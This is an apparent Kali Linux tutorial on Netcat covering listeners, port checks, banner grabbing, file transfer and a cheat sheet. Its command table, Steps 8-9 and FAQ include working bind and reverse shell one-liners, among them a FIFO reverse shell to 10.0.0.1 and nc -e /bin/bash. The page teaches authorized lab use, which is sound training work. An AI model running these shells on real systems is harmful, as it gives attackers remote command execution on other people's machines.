GO KALI FREE

Netcat

Sniffing & Spoofing

Intermediatehigh risk

Learn how to use Netcat (nc) in Kali Linux to open a TCP or UDP connection, check a port, and see what a service sends back. Follow the examples to send your first message, inspect HTTP and SMTP responses, and transfer a test file without exposing sensitive data.

Installation

sudo apt install netcat-openbsd

Basic Syntax

nc [options] <host> <port>

Quick Facts

Full Name
Netcat (nc)
License
OpenBSD License / GPL
Written In
C
Platforms
Linux, macOS, Windows, BSD
Category
Networking Utility
Protocols
TCP, UDP
First Release
1995
Author
Hobbit

Tool Overview

Netcat (nc) is a command-line tool that reads and writes raw data over TCP or UDP. It can connect to a service or listen for an incoming connection, so you can check a port, inspect a server’s greeting, or move data between two machines. Plain Netcat connections are not encrypted.

Start by checking which nc build you have. Open your first listener in one terminal, then connect from another and send a line of text. Once that works, check a small range of TCP ports, grab an HTTP or SMTP banner, and transfer a disposable file. Finish by learning how reverse and bind shells differ from a plain data connection. Use only systems you own or have written permission to test; the examples here use two terminals on the same lab machine.

For a first connection, use TCP port 4444 on the loopback address, 127.0.0.1. Terminal A waits for the connection and Terminal B initiates it. Once B reports success, type the line shown below and press Enter. A displays the line exactly as you typed it. The source port in A’s connection message is assigned by the client’s operating system, so yours will almost certainly differ. Terminal A command — Kali OpenBSD nc: nc -lvn 127.0.0.1 4444. Terminal A initial output: Listening on 127.0.0.1 4444. Terminal B command — Kali OpenBSD nc: nc -nv 127.0.0.1 4444. Terminal B output: Connection to 127.0.0.1 4444 port [tcp/*] succeeded! Text typed in Terminal B: hello from Terminal B. Terminal A output after the connection: Connection received on 127.0.0.1 52344, then hello from Terminal B.

On Kali, the default nc implementation is netcat-openbsd, but nc is a command name, not a version identifier. Check the executable path and help banner rather than assuming every Kali image selects the same build. The netcat-traditional package provides nc.traditional, the classic Hobbit implementation, and Nmap’s separate implementation runs as ncat. Kali’s OpenBSD nc has no -e option; nc.traditional and ncat do. All file-transfer and text-only networking examples below use Kali’s OpenBSD nc. They do not require either of the other implementations.

In an authorized lab with several services, use Nmap first to find listening ports, then use Netcat to connect to one known endpoint and see what it returns. A successful TCP connection proves that the port accepted a connection, not that the application is healthy. A banner or protocol response gives you another piece of evidence. Keep file transfers and connection-direction exercises in the lab; use an authenticated tool such as SSH or SFTP when you need remote administration or private file transfer.

Quick Reference Commands

Verified quick-reference commands for Netcat
CommandPurpose
readlink -f "$(command -v nc)"Resolve nc before relying on any variant-specific flags.
nc -lvn 127.0.0.1 4444Accept one TCP connection on IPv4 loopback port 4444.
nc -nv 127.0.0.1 4444Join the listener from a second terminal and type a test line.
nc -zvn -w 2 127.0.0.1 4444-4445Try TCP ports 4444 and 4445 without sending application data.
printf 'HEAD / HTTP/1.0\r\nHost: localhost\r\n\r\n' | nc -n -w 3 127.0.0.1 8080Send a HEAD request to the local lab HTTP service.
nc -nN 127.0.0.1 4446 < lab-send.txtSend the sample file after starting the matching receiver.
netcat | Kali Linux ToolsUse Netcat to Establish and Test TCP and UDP Connections

Common Commands

nc -lvnp 4444Listen on port - Creating a listener for incoming connections
nc 192.168.1.1 4444Connect to port - Connecting to a remote listener
nc.traditional -lvnp 4444 -e /bin/bashBind shell - Serve bash to whoever connects (netcat-traditional only; OpenBSD nc has no -e)
nc.traditional 192.168.1.1 4444 -e /bin/bashReverse shell - Send a shell back to the listener (netcat-traditional only)
nc -zv 192.168.1.1 1-1000Port scan - Quick port scanning
nc -lvp 1234 > file.txtReceive file - File transfer (receiver)
nc -w 3 192.168.1.1 80Timeout - Drop the connection after 3 seconds of inactivity
nc -u 192.168.1.1 53UDP mode - Open a UDP connection instead of TCP
echo '' | nc -v -n -w1 192.168.1.1 22Banner grab - Connect briefly to read a service banner
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/fFIFO reverse shell - Reverse shell on netcat builds without -e
nc -lvnp 4444 -kKeep listening - Stay open for repeated inbound connections
tar czf - /path | nc 192.168.1.1 4444Directory transfer - Stream a compressed archive over netcat
readlink -f "$(command -v nc)"Identify the nc implementation - Follow the executable symlink to see whether nc resolves to nc.openbsd, nc.traditional, or another build
nc -ulnv 127.0.0.1 4447UDP listener - Receive plaintext datagrams on loopback; silence alone does not prove a port is closed
printf 'HEAD / HTTP/1.0\r\nHost: localhost\r\n\r\n' | nc -n -w 3 127.0.0.1 8080HTTP headers - Ask a lab HTTP service for the response head without the body
nc -n -w 5 127.0.0.1 2525SMTP banner - Connect to a lab SMTP service and wait for its 220 greeting
printf 'one test line\n' | nc -n -q 1 127.0.0.1 4444Quit after input ends - Send one line to a listener and quit one second after stdin reaches EOF
nc -nC -w 10 127.0.0.1 2525CRLF line endings - Use for SMTP sessions where the protocol expects CRLF terminators
nc -6nv -w 3 ::1 4444IPv6 connect - Connect to an IPv6 loopback listener (the service must listen on IPv6)
nc -n -s 127.0.0.1 -w 3 127.0.0.1 4444Source address - Choose the local address the connection originates from on a multi-address host
nc -dlnv 127.0.0.1 4449Listen without stdin - Accept a connection and display incoming bytes without reading the listener keyboard

Step-by-Step Guide

  1. 1Check which nc you have before copying any command: run command -v nc and readlink -f "$(command -v nc)" to see whether nc resolves to nc.openbsd, nc.traditional, or ncat, then run nc -h to see which flags your build accepts.
  2. 2Install and verify Netcat on Kali: run sudo apt update && sudo apt install netcat-openbsd, then confirm it with nc.openbsd -h; if nc still resolves elsewhere, use nc.openbsd in place of nc in the examples below.
  3. 3Start your first listener: in Terminal A run nc -lvn 127.0.0.1 4444 to listen on loopback TCP port 4444 with verbose output and numeric addresses, and leave that terminal running.
  4. 4Connect and send text: in Terminal B run nc -nv 127.0.0.1 4444, type a short message and press Enter — it appears in Terminal A, and you can type a reply there; press Ctrl-C in the client when done.
  5. 5Check TCP ports with -z: restart the Step 3 listener, leave port 4445 unused, then run nc -zvn -w 2 127.0.0.1 4444-4445 from Terminal B — the -z flag tries a connection without sending application data, so 4444 succeeds and 4445 is refused.
  6. 6Grab an HTTP response and an SMTP banner: send printf 'GET / HTTP/1.0\r\nHost: localhost\r\n\r\n' | nc -n -w 3 127.0.0.1 8080 against a lab web server and read the status line and Server header, then connect to a lab SMTP service with nc -nC -w 5 127.0.0.1 2525 and wait for its 220 greeting before typing QUIT.
  7. 7Transfer a test file: in Terminal A run nc -dln 127.0.0.1 4446 > lab-received.txt, then in Terminal B run printf 'Netcat file transfer test\n' > lab-send.txt followed by nc -nN 127.0.0.1 4446 < lab-send.txt; the sender’s -N closes the write side so the receiver sees EOF, then compare the files with sha256sum lab-send.txt lab-received.txt.
  8. 8Create a reverse shell in the lab: on the listener run nc -lvn 127.0.0.1 4448, then on the target use the FIFO method for Kali’s OpenBSD nc — rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4448 >/tmp/f — or, with netcat-traditional installed, nc.traditional -e /bin/bash 127.0.0.1 4448; the shell connects back to your listener. Lab machines only.
  9. 9Create a bind shell in the lab: on the target run nc.traditional -lvnp 4444 -e /bin/bash (the -e flag exists only in nc.traditional and ncat, not in Kali’s default OpenBSD nc), then connect from your machine with nc 127.0.0.1 4444; to keep the listener open for the next connection, use ncat instead — ncat -lvnp 4444 -k -e /bin/bash — because ncat’s -k keeps listening while nc.traditional’s -k only sets TCP keepalive. Lab machines only.
  10. 10Test UDP and close both ends: start a UDP listener with nc -ulnv 127.0.0.1 4447 in Terminal A, send one line from Terminal B with printf 'udp test\n' | nc -un -w 2 127.0.0.1 4447, and stop both sides with Ctrl-C — UDP has no handshake, so seeing the line in Terminal A is the test.

Warnings

Use Cases

Reverse Shell

Create a reverse shell connection from a target back to your listener for remote access.

Port Scanning

Scan target ports to identify open services and potential attack vectors.

File Transfer

Transfer files between systems without needing SCP, FTP, or other file transfer tools.

Banner Grabbing

Retrieve service banners from open ports to identify software versions and configurations.

Network Debugging

Test TCP/UDP connectivity and diagnose network issues with raw connections.

Bind Shell

Set up a listening shell on a target that you can connect to for remote command execution.

Chat Server

Open two terminals on your Kali machine. Start the listener in the first and connect to it from the second; what you type on either side appears on the other. This makes it easy to distinguish “the TCP connection succeeded” from “the application data arrived.” The chat is plaintext and has no user authentication.

Protocol Debugging

Send a hand-written HTTP request, including its final blank line, or read an SMTP greeting and send EHLO and QUIT with CRLF endings. This helps identify whether a silent session is waiting for a complete request or has actually stopped responding. Stick to plaintext services you control, and use a TLS-aware client for encrypted endpoints.

Related Tools

pwncat

Maintaining Access

pwncat is an advanced, automated shell handler that extends the capabilities of traditional reverse or bind shells, offering built-in features for automated enumeration, persistence injection, and privilege escalation tracking.

Nmap

Information Gathering

Learn how to use Nmap, the free open-source network scanner: run your first port scan, discover live hosts, detect services and operating systems, and check for vulnerabilities with NSE scripts — a beginner tutorial for Kali Linux.

Metasploit Framework

Exploitation

Learn how to use Metasploit Framework: install it on Kali Linux, launch msfconsole, search for exploit modules, set RHOSTS and LHOST, and run your first authorized lab exploit. This beginner tutorial covers msfconsole commands, Meterpreter sessions, msfvenom payloads, and post-exploitation — with practical examples for authorized penetration testing.

Hydra

Password Attacks

Hydra is a parallelized login cracker that supports numerous protocols including FTP, HTTP, HTTPS, SMB, SSH, and many more. It performs rapid dictionary attacks against login pages and services to test password strength.

Socat

Maintaining Access

Socat is a command line based utility that establishes two bidirectional byte streams and transfers data between them, widely used for establishing shells, port forwarding, and encrypted connections.

Wireshark

Sniffing & Spoofing

Wireshark tutorial for beginners: capture packets, read the three panes, filter traffic and follow TCP streams — a hands-on guide to the world's foremost network protocol analyzer.

Related Cybersecurity Guides

Networking · Beginner

Ports and Protocols: Understanding Network Communication

Learn about network ports, their numbering system, common protocols at each layer, how services use ports, and security implications.

Tools · Beginner

How to Use Netcat: Beginner's Guide to the nc Command in Kali Linux

How to use Netcat (nc) in Kali Linux: test ports, run a listener, grab banners, transfer files, and catch a reverse shell — worked example and cheat sheet.

Linux · Beginner

SSH Fundamentals: Secure Remote Access and Administration

Learn SSH for secure remote access including key-based authentication, configuration, tunneling, port forwarding, and security hardening.

Networking · Beginner

How to Use WireGuard: Beginner's Guide to Setting Up a WireGuard VPN in Kali Linux

How to use WireGuard: install it on Kali Linux, build your first tunnel, verify it with wg show, and fix common problems — cheat sheet and 31 FAQs.

Frequently Asked Questions

What is Netcat used for?

Netcat is a versatile networking utility used for port scanning, banner grabbing, file transfers, creating reverse shells and bind shells, network debugging, and testing network services.

What is the difference between Netcat and Ncat?

Ncat is a modern reimplementation by the Nmap project with added features like SSL encryption, connection brokering, and proxy support. Netcat (nc) is the traditional version with basic TCP/UDP functionality.

Is Netcat a backdoor?

Netcat itself is a legitimate networking tool, but it can be used to create backdoors by setting up listening shells. Security professionals use it for authorized testing, while attackers may abuse it post-exploitation.

Which version of Netcat is on Kali Linux?

Kali’s default nc is netcat-openbsd; check the executable path because packages and alternatives can vary by image. The netcat-traditional package provides nc.traditional, the classic Hobbit implementation with -e, not GNU Netcat. Ncat is a separate program from the Nmap project, invoked as ncat and packaged separately on Kali.

How do I use Netcat for port scanning?

Use the -z flag for port scanning: nc -zv target.com 1-1000 scans ports 1-1000. The -v flag provides verbose output showing open ports, while -n skips DNS resolution for faster scanning.

How do I transfer files with Netcat?

On the receiver, run nc -lvnp 4444 > received_file. On the sender, run nc target.com 4444 < file_to_send. The file data flows through the TCP connection from sender to receiver.

How do I create a reverse shell with Netcat?

On your listener machine, run nc -lvnp 4444. On the target, run nc.traditional -e /bin/bash YOUR_IP 4444 (the -e flag exists only in netcat-traditional and ncat — Kali’s default OpenBSD nc does not have it; without -e, use the FIFO method). This connects the target's bash shell back to your listener for remote command execution. Lab machines only.

What is banner grabbing with Netcat?

Connect to a service port and send a request or wait for a response: nc target.com 80 then type GET / HTTP/1.0. The service will respond with a banner containing software version and configuration information.

How do I use Netcat in chat mode?

Start a listener on one machine: nc -lvnp 4444. Connect from another: nc target.com 4444. Both sides can now type messages that appear on the other side, creating a simple bidirectional chat session.

Can Netcat scan UDP ports?

Yes, use the -u flag for UDP scanning: nc -zvu target.com 50-100. UDP scanning is slower than TCP because UDP is connectionless and requires timeout-based detection of open ports.

How do I use Netcat for banner grabbing?

Connect to a service and wait for the banner: nc target.com 25 (for SMTP) or nc target.com 110 (for POP3). Many services send identification banners upon connection, revealing software versions.

Can Netcat transfer directories?

Yes, compress the directory first: tar czf - /path/to/dir | nc target.com 4444. On the receiver: nc -lvnp 4444 | tar xzf -. This transfers entire directory structures through a single Netcat connection.

How do I create a bind shell with Netcat?

On the target, run: nc.traditional -lvnp 4444 -e /bin/bash to create a listening shell (the -e flag exists only in netcat-traditional and ncat, not in Kali’s default OpenBSD nc). On your machine, connect with: nc target.com 4444. This provides remote command execution through the Netcat connection. Lab machines only.

Can Netcat communicate over IPv6?

Yes: use -6 with Kali’s OpenBSD nc and connect to an IPv6 address such as ::1, provided the service is listening on IPv6. Nmap’s ncat also supports -6, but ncat and OpenBSD nc are different executables with different option sets.

How do I use Netcat for port forwarding?

Use Netcat as a simple relay: mkfifo backpipe; nc -l 8080 < backpipe | nc target 80 | tee > backpipe. This forwards traffic from port 8080 to the target's port 80 bidirectionally.

Can Netcat detect open ports without completing connections?

With -z flag: nc -zv target.com 1-1000. The -z flag performs connection scanning without sending data, just checking if the port accepts connections. Add -v for verbose output showing open ports.

How do I use Netcat with SSL/TLS encryption?

Use ncat (from Nmap) with --ssl: ncat --ssl target.com 443. This wraps the connection in SSL/TLS encryption. Regular Netcat does not support SSL; ncat is the recommended alternative for encrypted connections.

Can Netcat act as a simple HTTP server?

No, Netcat is not an HTTP server. It can serve files through raw TCP, but for proper HTTP serving use Python's http.server module or a dedicated web server. Netcat is better suited for raw TCP/UDP communication.

How do I set connection timeouts in Netcat?

Use the -w flag for timeout: nc -w 3 target.com 80 sets a 3-second timeout. Without -w, Netcat connections may hang indefinitely. Always use timeouts in scripts to prevent hanging processes.

How do I use Netcat in Kali Linux?

Verify that nc selects netcat-openbsd, then start the loopback listener in Step 3 and connect from a second terminal using Step 4. Type a line and check that the other terminal displays it before moving on to port checks or service testing.

How do I check which version of Netcat I have?

After confirming nc is installed, run readlink -f "$(command -v nc)" to resolve the executable path, then run nc -h to see the installed build’s help banner and accepted flags. A path ending in nc.openbsd identifies the build used in this guide.

How do I use Netcat to check if a port is open?

With the lab listener running, run nc -zvn -w 2 127.0.0.1 4444 to try a TCP connection without sending application data. A success means the endpoint accepted the connection, a refusal means it was rejected, and a timeout can also result from filtering or routing problems.

How do I create a reverse shell with Netcat without -e?

Use the FIFO method, which works with Kali’s default OpenBSD nc: on your listener run nc -lvn 127.0.0.1 4448, then on the target run rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4448 >/tmp/f. The named pipe feeds the shell’s output back into Netcat because OpenBSD nc has no -e flag. Use it only on lab machines you own or have written permission to test.

How do I send a file with Netcat?

Start the receiver first and redirect its output to a new file, then feed the sender from the original file as shown in Step 7. The example uses Kali OpenBSD nc with -N on the sender so the receiver can detect EOF. Compare hashes afterward to catch accidental differences, and use SFTP instead for sensitive files.

Is Netcat preinstalled on Kali Linux?

Many Kali images include Netcat, but minimal or customized installations may not. Run command -v nc to check; if it returns no executable, install netcat-openbsd and verify it as shown in Step 2.

Tags

#sniffing-spoofing

Output Explanation

In the listener output, 4444 is the port you chose. The next line shows the client address and its temporary source port, 52344. The final line is user data, not a Netcat diagnostic. Listening on 127.0.0.1 4444. Connection received on 127.0.0.1 52344. hello from Terminal B. A TCP -zv check with numeric output enabled reports success if the connection is accepted; here, the second port refuses the connection, and a timeout is a different result. Connection to 127.0.0.1 4444 port [tcp/*] succeeded! nc: connect to 127.0.0.1 port 4445 (tcp) failed: Connection refused. HTTP response head, excerpt: HTTP/1.0 200 OK, Server: SimpleHTTP/0.6 Python/3.13.5. SMTP greeting: 220 mail.lab.example ESMTP Postfix. HTTP supplies a status line after your request; a ready SMTP service sends 220 first. Both banners are service-supplied text, not proof of the installed version.

Ethical Usage Notice

This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.